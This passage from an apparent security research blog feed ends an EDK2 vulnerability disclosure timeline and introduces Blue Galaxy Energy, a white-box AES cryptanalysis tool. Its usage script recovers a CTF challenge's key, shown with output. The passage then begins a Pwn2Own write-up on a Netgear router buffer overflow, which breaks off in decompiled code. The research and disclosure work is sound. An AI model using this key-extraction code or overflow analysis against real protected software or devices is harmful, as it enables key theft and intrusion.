<li><strong>2023-11-14</strong> Quarkslab responded to AMI's message communicating Tianocore's assessment of <strong>CVE-2023-45236</strong> and <strong>CVE-2023-45237</strong> as weaknesses rather than vulnerabilities. Quarkslab expressed disagreement with such an assessment stating that <strong>CVE-2023-45236</strong> (TCP ISNs with the same algorithm as EDK2) had been <a href="https://www.win.tue.nl/~aeb/linux/hh/shimomura-25jan95.txt">exploited in the wild</a> in 1995 and merited a <a href="https://insights.sei.cmu.edu/documents/502/1995_019_001_496168.pdf">security advisory published by CERT</a>, mitigations were proposed in <a href="https://datatracker.ietf.org/doc/html/rfc1948">RFC 1948</a> in 1996, Microsoft considered it a <a href="https://learn.microsoft.com/en-us/security-updates/securitybulletins/1999/ms99-046"><strong>Critical</strong> vulnerability</a> in 1999, motivated another <a href="https://vuls.cert.org/confluence/pages/viewpage.action?pageId=96665752">CERT Advisory</a> in 2001 and was <a href="https://nvd.nist.gov/vuln/detail/cve-2011-3188">fixed again in the Linux kernel</a> in 2011. Over almost 3 decades every major operating system vendor considered it a vulnerability and fixed it as such and therefore Quarkslab did not believe producing an actual exploit was necessary to prove "computationally feasible exploitability".
With regards to <strong>CVE-2023-45237</strong> (Use of weak PRNG to generate numeric IDs in the network stack) the same long history of vulnerability disclosures and fixes could be pointed out in several components that suffered from the problem, the most known being predictable DNS query IDs, <a href="https://www.openbsd.org/advisories/sni_12_resolverid.txt">first reported and fixed in 1997</a> and multiple times afterwards, including the fixes issued in 2008 for almost every DNS resolver and DNS server on the planet (for example in <a href="https://learn.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-020">MS08-20</a>). Quarkslab's vulnerability report pointed at <a href="https://www.rfc-editor.org/info/rfc9414">RFC 9414</a> which details the long history of problems associated to generation of numeric IDs in network protocols. At the core of these issues is the use of a <em>Linear Congruential Generator</em> to generate a sequence of pseudorandom numbers. EDK2 uses the same LCG as glibc 2.26 (the exact same parameters). The unsuitability of LCGs for security-sensitive purposes (where the numbers generated should not be guessable) have been known for decades, for example in <a href="https://www.enseignement.polytechnique.fr/profs/informatique/Francois.Morain/Master1/Crypto/projects/Stern87.pdf">Stern 1987</a>, therefore Quarkslab did not consider necessary to produce an exploit to prove exploitability.</li>
<li><strong>2023-11-14</strong> Quarkslab replied to the prior requests and commentary from various vendors as follows:<ul>
<li>Stated that the blog post about the issues would contain the technical report submitted to the disclosure coordination forum and a detailed timeline of the relevant events in the disclosure process. It would include proof-of-concept code to trigger vulnerabilities 1 to 7 but NOT exploit code. Reiterated that the purpose of reporting the vulnerabilities was to help vendors identify and fix them, not to debate about the editorial policies for Quarkslab research work. Nonetheless it was willing to discuss that, as well as the quality and lack of technical information in the security advisories and bulletins published by vendors, at an appropriate venue or in a different context.</li>
<li>Indicated that the Quarkslab's statement of October 23rd ("vendors were progressing towards releasing fixes") was based not on opinion but the factual evidence of vendor posts on the vulnerability coordination portal.</li>
<li>Strongly disagreed with the opinion expressed by a vendor that "any public announcement before middle of 2024 would cause significant negative impact" and argued that what had significant negative impact was the risk those vulnerabilities were posing to the uninformed users and organizations that run EDK2-derived firmware implementations with the vulnerable NetworkPkg component, and that informing them of their exposure and giving them the necessary information to either fix the vulnerabilities (ideally with official patches), to mitigate them, or to be able to detect active attacks was actually the opposite of having "significant negative impact".</li>
<li>Indicated that 3 months after the initial report date not a single vendor had committed to an estimated release date for fixes. The original 90-day embargo period was extended to 120 days upon request from a vendor (Insyde Software) and at the time (2 months prior) no vendor objected the new deadline. Yet only 2 weeks ago one vendor proposed to postpone the disclosure deadline for 6 months with no actual concrete release date or timeline for fixes.</li>
<li>Commented that the referenced UEFI Forum paper provides a good description of the complexity of the UEFI firmware supply chain but it argued for a 300-day embargo period by presenting an exceptional case as if it was the general one, and assuming that the existing series of interlocked, extremely waterfall-oriented, software development lifecycles of all stakeholders should explain the need of such period. Quarkslab noted that in August 2023 the US Cybersecurity & Infrastructure Security Agency (CISA) published <a href="https://www.cisa.gov/news-events/news/call-action-bolster-uefi-cybersecurity-now">A Call to Action: Bolster UEFI Cybersecurity Now</a> calling for UEFI vulnerability response, including timely and effective update mechanisms.</li>
<li>Summarized its position with the following: Quarkslab was being asked to extend the embargo period from 120 days (which had already been extended from the original 90) to about 10 months counting from initial report date, without any firm commitment from any vendor to an actual release date and an opaque timeline. Delaying disclosure implies keeping Quarkslab's partners and customers at risk and in the dark about the vulnerabilities, which in turn put the company in a very uncomfortable position where malicious activities or cyberattacks could happen during that extended time frame. Because of the above, a priori was not inclined to extend our embargo period but since Quarkslab is a company incorporated in France, it decided to consult with CERT-FR (the national CERT of France operated by ANSSI, the French cybersecurity agency) to determine how to proceed. Precise status updates and firm commitment to a release date from affected vendors would be useful to inform any decision.</li>
</ul>
</li>
<li><strong>2023-11-23</strong> Quarkslab contacted CERT-FR and provided the technical report of the vulnerabilities and a summary of the coordinated vulnerability disclosure timeline so far.</li>
<li><strong>2023-11-27</strong> CERT-FR acknowledged the report and summary timeline and requested further discussion in a conference call.</li>
<li><strong>2023-11-27</strong> Quarkslab informed all stakeholder that it was discussing with CERT-FR and in the meantime postponed disclosure to December 12th, 2023. Reiterated that status updates and firm commitment to a release date from affected vendors would be useful to inform any decision.</li>
<li><strong>2023-11-27</strong> <strong>CERT/CC updated the target disclosure date to December 12th, 2023</strong>.</li>
<li><strong>2023-12-06</strong> Quarkslab indicated that at a week before the disclosure date it still did not have any status update from any vendor nor commitments to any release date for fixes.</li>
<li><strong>2023-12-06</strong> Insyde Software submitted a status update and flagged it as public.</li>
<li><strong>2023-12-06</strong> AMI updated their status and indicated the PSIRT activities including advertisement and remediation have been on-going with customers. An advisory would be issued on December 12th, 2023.</li>
<li><strong>2023-12-06</strong> Microsoft updated the status and indicated internal discussions regarding fix commitment timelines were still ongoing.</li>
<li><strong>2023-12-09</strong> Quarkslab indicated that it was still coordinating with CERT-FR and CERT/CC and decided to postpone disclosure one week, to December 19th, 2023 to have a bit more time to prepare and converge on dissemination plans. </li>
<li><strong>2023-12-09</strong> <strong>CERT/CC updated the target disclosure date to December 19th, 2023</strong>.</li>
<li><strong>2023-12-12</strong> Microsoft asked Quarkslab to confirm that it would publish in the blog post the same report as provided in the forum. Asked to for a preview of Quarkslab post.</li>
<li><strong>2023-12-12</strong> Quarkslab replied that it already confirmed that the publication will be the same as the report provided to vendors in the vulnerability coordination portal and that it would include a detailed timeline of the relevant communications towards coordinated disclosure. Reiterated that Quarkslab participation in the portal was to coordinate with vendors the release of patches not to discuss the contents of Quarkslab's publications. Asked for Microsoft's estimated date to release fixes, affected products or services, and whether Azure would be exposed.</li>
<li><strong>2023-12-14</strong> CERT-FR asked Quarkslab to clarify circumstances in which the vulnerabilities could be exploited from remote networks.</li>
<li><strong>2023-12-15</strong> Quarkslab described scenarios in which some vulnerabilities could be exploited from remote networks.</li>
<li><strong>2023-12-15</strong> Quarkslab wrote that it discussed the disclosure date with CERT-FR and CERT/CC and CERT-FR indicated they'd like to have additional time to coordinate dissemination of the information to their stakeholders and to other national CERTs. All parties agreed that it would be useful to postpone publication past the end of the year, as many organizations impose a "freeze" on any changes to their data centers and compute infrastructure during the end-of-year period. In view of that it was decided to postpone disclosure to January 15th, 2024. However, if an attack leveraging any of the reported vulnerabilities was discovered in the wild or public disclosure of any of them was observed before the embargo date, Quarkslab would immediately publish the technical report describing the vulnerabilities.</li>
<li><strong>2023-12-15</strong> <strong>CERT/CC updated the target disclosure date to January 15th, 2024</strong>.</li>
<li><strong>2023-12-27</strong> CERT-FR asked CERT/CC and Quarkslab if they agreed that CERT-FR would send an early warning to national CERTs before January 15th, 2024.</li>
<li><strong>2023-12-27</strong> Quarkslab agreed to sending an early warning on January 11th, 2024 or any earlier date of CERT-FR's choosing.</li>
<li><strong>2023-12-27</strong> CERT/CC agreed to an early warning on January 11th, 2024 as well.</li>
<li><strong>2024-01-08</strong> CERT-FR requested an estimated release date for fixes from several vendors.</li>
<li><strong>2024-01-08</strong> Insyde Software informed that it had already deployed fixes to their downstream supply chain.</li>
<li><strong>2024-01-08</strong> <strong>CERT/CC updated the target disclosure date to January 16th, 2024</strong> as January 15th is a non-working day in the USA.</li>
<li><strong>2024-01-09</strong> AMI informed that it already communicated remediation information to its customers.</li>
<li><strong>2024-01-09</strong> Phoenix Technologies informed that it updated its status to vulnerable and was delivering fixes to partner OEMs.</li>
<li><strong>2024-01-16</strong> Quarkslab blog post published.</li>
</ul>Blue Galaxy Energy: a new White-box Cryptanalysis Open Source Tool2023-12-21T00:00:00+01:002023-12-21T00:00:00+01:00Nicolas Surbayroletag:blog.quarkslab.com,2023-12-21:/blue-galaxy-energy-a-new-white-box-cryptanalysis-open-source-tool.html<p>We introduce a new white-box cryptanalysis tool based on the pioneering BGE paper but without known open source public implementation so far.</p><h2>Introduction</h2>
<p>A few months ago, we presented Dark Phoenix <a href="https://blog.quarkslab.com/dark-phoenix-a-new-white-box-cryptanalysis-open-source-tool.html">in this blog post</a>, a cryptanalysis tool performing <em>Differential Fault Analysis</em> (DFA) against AES white-boxes with so-called <em>external encodings</em>, completing the existing <a href="https://github.com/SideChannelMarvels">Side-Channel Marvels</a> set of tools.</p>
<p>Dark Phoenix differed from the <em>Differential Computation Analysis</em> (DCA) attack and the DFA tool implemented in <a href="https://github.com/SideChannelMarvels/JeanGrey">Jean Grey</a> by the fact that it can attack implementations using external encodings, i.e., extra layers of obfuscation applied to the data before being sent to the AES and removed afterward. However, this came at the cost of reverse-engineering efforts to isolate and run individual rounds of the implementation, while the two other attacks can be largely automated.</p>
<p>The same holds for the <em>BGE attack</em>: it is able to defeat AES white-box implementations with or without external encodings, but at the cost of some prior reverse-engineering.</p>
<p>In this blog post, we highlight our open-source implementation of this attack introduced in 2004. That's our way of celebrating this 20th anniversary!</p>
<h2>Blue Galaxy Energy</h2>
<p><em>Hologram: Shut up! You do not know the power of the <a href="https://marvel.fandom.com/f/p/3343172654596164836/">Blue Galaxy Energy</a>! Also known as the "B.G.E".</em>
<em>Mr. Whereabout: The Loss, Part III, Volume I</em></p>
<p>Blue Galaxy Energy is a tool designed for executing the so-called BGE attack described in <a href="https://doi.org/10.1007/978-3-540-30564-4_16"><em>Cryptanalysis of a White Box AES Implementation</em></a> by Olivier Billet, Henri Gilbert and Charaf Ech-Chatbi, with the optimizations proposed in <a href="https://api.semanticscholar.org/CorpusID:117052545"><em>Improved cryptanalysis of an AES implementation</em></a> by Ludo Tolhuizen and in <a href="https://ia.cr/2013/450"><em>Revisiting the BGE Attack on a White-Box AES Implementation</em></a> by Yoni De Mulder, Peter Roelse and Bart Preneel.</p>
<h2>Installation</h2>
<p>To install the tool, install gmp and ntl libraries and development headers with your OS package manager.</p>
<div class="highlight"><pre><span></span><code>$ sudo apt install libgmp-dev libntl-dev
</code></pre></div>
<p>or</p>
<div class="highlight"><pre><span></span><code>$ sudo pacman -S gmp ntl
</code></pre></div>
<p>Then compile and install the Python module in a virtual environment.</p>
<div class="highlight"><pre><span></span><code>$ python3 -m venv venv
$ <span class="nb">source</span> venv/bin/activate
$ pip install bluegalaxyenergy
</code></pre></div>
<h2>Usage</h2>
<p>Similarly to Dark Phoenix, to use this tool against a given white-box AES implementation, you need to provide an implementation of your own class inheriting from the provided <code>WhiteBoxedAES</code> class.</p>
<p>This class serves as the interface between the white-box and the attack script. It must be capable of applying a single round of the white-box implementation to attack and return the intermediate state.</p>
<h2>Example</h2>
<p>We will take the NoSuchCon 2013 white-box as <a href="https://github.com/SideChannelMarvels/Deadpool/tree/master/wbs_aes_nsc2013/BGE">target example for this BGE attack</a>.</p>
<p>This white-box has the particularity of having external encodings and cannot be attacked with classical DCA or DFA.</p>
<p>Since the NoSuchCon 2013 white-box structure is well understood, it is possible to provide a method that performs a single round at once.</p>
<p>The class to be written is identical to the one we wrote in our previous blog post for Dark Phoenix, except that the base class comes from the Blue Galaxy Energy module.</p>
<p>Create a file <code>nosuchcon_2013_whitebox.py</code>:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">bluegalaxyenergy</span> <span class="kn">import</span> <span class="n">WhiteBoxedAES</span>
<span class="k">class</span> <span class="nc">NSCWhiteBoxedAES</span><span class="p">(</span><span class="n">WhiteBoxedAES</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"../RE/result/wbt_nsc"</span><span class="p">,</span> <span class="s2">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="c1"># initialize tables based on the white-box file</span>
<span class="bp">self</span><span class="o">.</span><span class="n">initSub_sub</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mh">0x100</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">initSub_inv_sub</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mh">0x100</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">finalSub_sub</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mh">0x100</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">finalSub_inv_sub</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mh">0x100</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">xorTables0</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mh">0x10000</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">xorTables1</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mh">0x10000</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">xorTables2</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mh">0x10000</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">roundTables</span><span class="o">=</span><span class="p">[[[</span><span class="kc">None</span><span class="p">]</span><span class="o">*</span><span class="mi">4</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">)]</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">9</span><span class="p">)]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">9</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">roundTables</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">][</span><span class="n">k</span><span class="p">]</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mh">0x100</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">finalTable</span><span class="o">=</span><span class="p">[</span><span class="kc">None</span><span class="p">]</span><span class="o">*</span><span class="mi">16</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">finalTable</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mh">0x100</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">getRoundNumber</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="mi">10</span>
<span class="k">def</span> <span class="nf">isEncrypt</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">def</span> <span class="nf">hasReverse</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="k">def</span> <span class="nf">apply</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="k">for</span> <span class="nb">round</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
<span class="n">data</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">applyRound</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="nb">round</span><span class="p">)</span>
<span class="k">return</span> <span class="n">data</span>
<span class="k">def</span> <span class="nf">applyRound</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">roundN</span><span class="p">):</span>
<span class="n">output</span><span class="o">=</span><span class="p">[</span><span class="kc">None</span><span class="p">]</span><span class="o">*</span><span class="mi">16</span>
<span class="k">if</span> <span class="n">roundN</span> <span class="o"><</span> <span class="mi">9</span><span class="p">:</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="n">b</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">roundTables</span><span class="p">[</span><span class="n">roundN</span><span class="p">][</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">][</span><span class="n">data</span><span class="p">[</span><span class="n">j</span><span class="o">*</span><span class="mi">4</span><span class="o">+</span><span class="p">((</span><span class="n">i</span><span class="o">+</span><span class="n">j</span><span class="p">)</span><span class="o">%</span><span class="mi">4</span><span class="p">)]];</span>
<span class="n">output</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">xorTables2</span><span class="p">[(</span><span class="bp">self</span><span class="o">.</span><span class="n">xorTables0</span><span class="p">[(</span><span class="n">b</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o"><<</span><span class="mi">8</span><span class="p">)</span><span class="o">|</span><span class="n">b</span><span class="p">[</span><span class="mi">1</span><span class="p">]]</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span>
<span class="bp">self</span><span class="o">.</span><span class="n">xorTables1</span><span class="p">[(</span><span class="n">b</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o"><<</span><span class="mi">8</span><span class="p">)</span><span class="o">|</span><span class="n">b</span><span class="p">[</span><span class="mi">3</span><span class="p">]]]</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="n">output</span><span class="p">[</span><span class="n">i</span><span class="o">//</span><span class="mi">4</span> <span class="o">+</span> <span class="p">(</span><span class="n">i</span><span class="o">%</span><span class="mi">4</span><span class="p">)</span><span class="o">*</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">finalTable</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">data</span><span class="p">[(</span><span class="n">i</span><span class="o">&</span><span class="p">(</span><span class="o">~</span><span class="mi">3</span><span class="p">))</span> <span class="o">+</span><span class="p">((</span><span class="n">i</span><span class="o">+</span><span class="n">i</span><span class="o">//</span><span class="mi">4</span><span class="p">)</span><span class="o">%</span><span class="mi">4</span><span class="p">)]]</span>
<span class="k">return</span> <span class="n">output</span>
</code></pre></div>
<p>To execute the attack, we need to write the following script and optionally specify the rounds on which the attack should be applied. Typically, the first inner rounds have fewer countermeasures compared to the last rounds, as those are designed to defend against DFA attacks with potentially unconventional structures.
However, it is important to note that the attack requires three consecutive rounds to extract a single round key.
Therefore, for AES128, a minimum of three consecutive rounds is needed to extract the key and for AES192 and AES256, the minimum is four consecutive rounds.</p>
<p>Create a file <code>runme.py</code>:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">bluegalaxyenergy</span> <span class="kn">import</span> <span class="n">BGE</span>
<span class="kn">from</span> <span class="nn">nosuchcon_2013_whitebox</span> <span class="kn">import</span> <span class="n">NSCWhiteBoxedAES</span>
<span class="n">bge</span> <span class="o">=</span> <span class="n">BGE</span><span class="p">(</span><span class="n">NSCWhiteBoxedAES</span><span class="p">())</span>
<span class="n">bge</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">roundList</span><span class="o">=</span><span class="p">[</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">])</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">bge</span><span class="o">.</span><span class="n">computeKey</span><span class="p">()</span>
<span class="k">if</span> <span class="n">key</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"key:"</span><span class="p">,</span> <span class="n">key</span><span class="o">.</span><span class="n">hex</span><span class="p">())</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code>$ python3 runme.py
</code></pre></div>
<p>If at least two round keys were found and the previous <code>computeKey</code> operation failed, it may mean that the round keys were transposed. Actually, it is the case for this particular white-box implementation and it is necessary to indicate that the round keys were transposed.</p>
<div class="highlight"><pre><span></span><code><span class="n">key</span> <span class="o">=</span> <span class="n">bge</span><span class="o">.</span><span class="n">computeKey</span><span class="p">(</span><span class="n">transposed_rk</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="k">if</span> <span class="n">key</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"key:"</span><span class="p">,</span> <span class="n">key</span><span class="o">.</span><span class="n">hex</span><span class="p">())</span>
</code></pre></div>
<p>The key is now recovered in less than 5 seconds.</p>
<div class="highlight"><pre><span></span><code>$ <span class="nb">time</span> python3 runme.py
key: 4e5343234f707069646123b8dce442d0
real 0m1,464s
user 0m4,466s
sys 0m0,107s
</code></pre></div>
<p>A <a href="https://github.com/SideChannelMarvels/Deadpool/tree/master/wbs_aes_grehack2019/BGE">second more complex example is also provided</a> against the white-box implementation of the GreHack2019 CTF. It utilizes <a href="https://qbdi.quarkslab.com/">QBDI</a> to instrument the binary. Feel free to take a look at it.</p>
<h2>Limitations</h2>
<p>The current version of Blue Galaxy Energy has some limitations:</p>
<ul>
<li>It only supports white-box implementations of AES encryption, not AES decryption ;</li>
<li>It does not support the randomization in the order of the bytes of the intermediate results in AES, as mentioned in the De Mulder <em>et al.</em> paper ;</li>
<li>It only supports 8-bit wide encodings.</li>
</ul>
<p>It's important to note that deploying the BGE attack on a real white-box implementation can be significantly more complex compared to applying DFA or DCA attacks.</p>
<p>We have based our example on a naked version of the NoSuchCon 2013 white-box, which was the result of <a href="http://0vercl0k.tuxfamily.org/bl0g/?p=253">reverse-engineering efforts</a> by Axel Souchet, who initially worked on the Windows executable, to obtain an equivalent but still obfuscated source code. We then performed some post-processing to obtain clean tables and the round structure used in our <code>NSCWhiteBoxedAES</code> class. More details about this process can be found in the <a href="https://github.com/SideChannelMarvels/Deadpool/tree/master/wbs_aes_nsc2013/RE">Deadpool repository</a> and in the write-up provided on the <a href="https://wiki.yobi.be/index.php/NSC_Writeups#Epilogue">Yobi wiki</a>.</p>
<h2>Conclusion</h2>
<p>Indeed, the difficulty of applying the BGE attack to a white-box implementation is directly related to the complexity of reverse engineering its obfuscation layers. However, the BGE attack becomes straightforward and highly effective if these obfuscation layers can be successfully removed.</p>
<p>Blue Galaxy Energy is released under the <a href="https://www.apache.org/licenses/LICENSE-2.0">Apache 2.0 license</a>.
The source code can be found in the <a href="https://github.com/SideChannelMarvels/BlueGalaxyEnergy">Blue Galaxy Energy repository</a>.</p>
<p>For more information about the project, please refer to its <a href="https://github.com/SideChannelMarvels/BlueGalaxyEnergy/blob/main/README.md">README</a>. If you're interested in diving into the technical details of the implementation choices, you'll find them <a href="https://github.com/SideChannelMarvels/BlueGalaxyEnergy/blob/1bdc668be01b1d6a6dd61ec4c69fa23fbd56e56c/src/bluegalaxyenergy/README.md">there</a>.</p>
<p>Enjoy using Blue Galaxy Energy to analyze other white-box implementations with external encodings, and feel free to share your results whenever possible. Feedback, suggestions for improvement, and contributions to support decryption AES or bits shifting are always welcome.</p>
<h2>Acknowledgments</h2>
<p>We extend our gratitude to Laurent Grémy, who authored the core implementation of Blue Galaxy Energy.</p>Our Pwn2Own journey against time and randomness (part 2)2023-11-07T00:00:00+01:002023-11-07T00:00:00+01:00Eloïse Brocastag:blog.quarkslab.com,2023-11-07:/our-pwn2own-journey-against-time-and-randomness-part-2.html<p>Part 2 of a series about participation in the Pwn2Own Toronto 2023 contest.</p><p>This blogpost is the second part of the series about our journey to the pwn2own Toronto 2022 contest.</p>
<p>In <a href="https://blog.quarkslab.com/our-pwn2own-journey-against-time-and-randomness-part-1.html">Our Pwn2Own journey against time and randomness, part 1</a> we explained how we attacked the router from the WAN side and lost our battle against randomness and time just by a few seconds. Here we will describe two vulnerabilities that we found on the LAN side of the Netgear RAX30 router.</p>
<p>Pwn2own Toronto 2022 occurred on December 6-9, 2022, so why publish this now ?</p>
<p>Well, we reported the discovered vulnerabilities to the vendor and followed a coordinated vulnerability disclosure process that took a lot of time, and we decided not to rage-quit and just publish them, so after a lengthy coordination process we reached the agreed date for publication and here's the blog post.</p>
<h1>LAN vulnerabilities</h1>
<h2>Buffer Overflow inside soap server</h2>
<p>This vulnerability known as CVE-2023-27368 was not attributed to us, it seems that another competitor also found it.
However, since we found this vulnerability during the competition, we will describe it nonetheless.</p>
<p>On the LAN side, a server brought to our notice this program called <code>soap_serverd</code>, it is a server that is exposed on all LAN interfaces but does not seem to be designed for human interaction, which is of great interest to us.</p>
<p>In fact, this service is used by the Netgear application to communicate with the router.</p>
<p>During our analysis, we realized from the first line of parsing the HTTP entry that some things could go wrong. Indeed, as you can see in the decompiled code below, the parsing of the HTTP header is using <code>sscanf</code> with a string format without size control.</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="n">memset</span><span class="p">(</span><span class="n">auStack_1820</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2044</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">local_1e24</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">memset</span><span class="p">(</span><span class="n">auStack_1e20</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">508</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">local_1c24</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">memset</span><span class="p">(</span><span class="n">auStack_1c20</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">508</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">local_1a24</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">memset</span><span class="p">(</span><span class="n">auStack_1a20</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">508</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">local_1024</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">memset</span><span class="p">(</span><span class="n">auStack_1020</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2044</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">local_824</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">memset</span><span class="p">(</span><span class="n">auStack_820</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2044</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">iVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FUN_00019050</span><span class="p">(</span><span class="o">&</span><span class="n">local_1824</span><span class="p">,</span><span class="mh">0x800</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">iVar1</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
